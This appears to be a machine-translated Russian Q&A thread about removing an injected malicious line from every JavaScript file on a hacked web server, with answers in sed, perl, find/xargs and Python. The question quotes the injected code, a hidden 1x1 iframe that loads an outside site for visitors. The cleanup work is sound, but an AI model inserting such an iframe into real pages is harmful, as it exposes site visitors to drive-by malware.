Лучший скрипт для изменения содержимого файла на сервере - PullRequest
2 голосов
/ 07 июня 2011

Проблема:
У меня есть веб-сервер, который был недавно взломан. Они предназначались для файлов JavaScript. Они вставили следующий фрагмент

document.write('<iframe src="http://lcbmc.co.uk/showthread.php?t=31540750" width="1" height="1" frameborder="0"></iframe>') 

это было добавлено в начало каждого файла .js на сервере.

Решение:
Напишите скрипт для открытия каждого файла javascript на моем сервере, который проверяет наличие вредоносного кода, удаляет вредоносный код и, наконец, сохраняет файл.

Вопрос:
На каком языке программирования должен быть написан скрипт? Будет ли работать питон? Я использую Python 2.4.3 на моем сервере. Если я запускаю скрипт python под пользователем root, придется ли мне беспокоиться о случайном изменении прав владельца измененных файлов?

Спасибо

Ответы [ 4 ]

5 голосов
/ 07 июня 2011
sed -i '1d;' *.js

просто, и удалит первую строку из каждого файла javascript.

вы могли бы сделать это немного более четко в python, но вы сказали, что 1-я строка в каждом файле * .js, нет?

еще лучше, вы можете рассмотреть perl

Python будет работать, но душа Python не является искаженной быстрой однострочностью, и для чего-то подобного вам нужна быстрая безболезненная однострочная строка.

 perl -pi.bak -e 's/^document.*lcbmc.*\n//g' *.js

, если вы запускаете это в командной строкеон будет соответствовать любой строке, которая начинается с документа и содержит lcbmc (включая строку \ n - new), и полностью удалит эту строку.Обратите внимание, что i.bak создает файл резервной копии .bak всего.Вы можете посоветовать сохранить это, так как вы можете «испортить»

, потом просто запустить

rm -v *.js.bak

ОБНОВЛЕНИЕ

По комментариям Iпредложите запустить скрипт perl в dir-файле * .js или используйте find

find /startDir/ -iname '*.js' -exec perl -pi.bak -e 's/^document.*lcbmc.*\n//g' {} \; 

, который будет:
1. если вы указали правильный путь
2. выполнить perl один-линер найденных ({}) файлов.
3. побег;(\;) используется для объединения команды,
4, поэтому она будет исполняться

perl -pi.bak -e 's/^document.*lcbmc.*\n//g' found-item-1.js; perl -pi.bak -e 's/^document.*lcbmc.*\n//g' found-item-2.js

и т. д ... Некоторые версии find support + whichВы можете наблюдать поведение в следующем вопросе: find \;VS +

ПРИМЕЧАНИЕ: вы можете использовать несколько путей с find.

find /var/www/*.js /home/eric/.apache/*.js

найдет файлы в папке / var / www / и в папке ~ / .apache с файлами * .js.

4 голосов
/ 07 июня 2011

На каком языке программирования должен быть написан скрипт?

Вряд ли имеет значение.

Будет ли работать питон?

Да.

Если я запускаю скрипт python под пользователем root, придется ли мне беспокоиться о случайном изменении разрешений владельца измененных файлов?

Нет. Не "случайно". Вы могли бы изменить их, если бы вы сделали действительно плохую работу кодирования.


import os
import shutil
for path, dirs, files in os.walk( "some/root/dir" ):
    for f in files:
        name, ext = os.path.splitext( f )
        if ext == '.js':
            js= os.path.join( path, f )
            bak= js+"#"
            os.rename( js, bak )
            with open(bak,"r") as source:
                with open(js,"w") as target:
                    for line in source:
                        if '<iframe src="http://lcbmc.co.uk/showthread.php?t=31540750"' in line:
                            continue
                        target.write( line )

Нечто подобное должно (более или менее) работать.

если вам нужно установить права доступа или владельца, существуют функции модуля os, позволяющие соответствующим образом разрешить пользователю, группе и разрешениям файл настроек.

2 голосов
/ 07 июня 2011

Bash, вероятно, будет самым простым. Код может быть что-то вроде

bad_code="document\\.write('<iframe src=\"http:\\/\\/lcbmc\\.co\\.uk\\/showthread\\.php?t=31540750\" width=\"1\" height=\"1\" frameborder=\"0\"><\/iframe>')"
find /var/www -name "*.js" -print0 | xargs --null sed -i.bak "/${bad_code}/d"

Это удалит все (полные) строки, содержащие в точности указанный код.

Редактировать : Цитирование исправлено.

1 голос
/ 07 июня 2011

Я хотел бы предложить вам сохранить ваш веб-сайт контент и код , используя учетную запись пользователя Unix, отличную от той, которая используется веб-сервером или средой исполнения FastCGI.

Поскольку у вашего веб-сервера были права на запись в эти файлы, они могли быть перезаписаны по желанию злоумышленника. Если веб-сервер не имел разрешения на запись чего-либо, кроме файлов журналов и сокета базы данных, он не мог бы постоянно причинять вред вашему веб-сайту и мог только повредить вашу базу данных или прочитать ее содержимое. Перезапустите сервер, и их взлом исчезнет.

(Конечно, если они взломали вашу систему с помощью другого механизма, такого как угаданный пароль учетной записи, разные пользователи, возможно, не предотвратили бы никакого вреда. Вы делаете хорошо держите свои ssh ключи -защищен, верно?)

Я также хотел бы предположить, что простыми модификациями могут быть те, которые оставлены позади намеренно легко исправить , чтобы обеспечить прикрытие для модификаций, которые нелегко найти или исправить, или бэкдоры, которые позволили бы легкое повторное заражение. Повторное развертывание всего сайта из заведомо исправного хранилища - гораздо лучшее решение, чем исправление взломанной установки.

Добро пожаловать на сайт PullRequest, где вы можете задавать вопросы и получать ответы от других членов сообщества.
...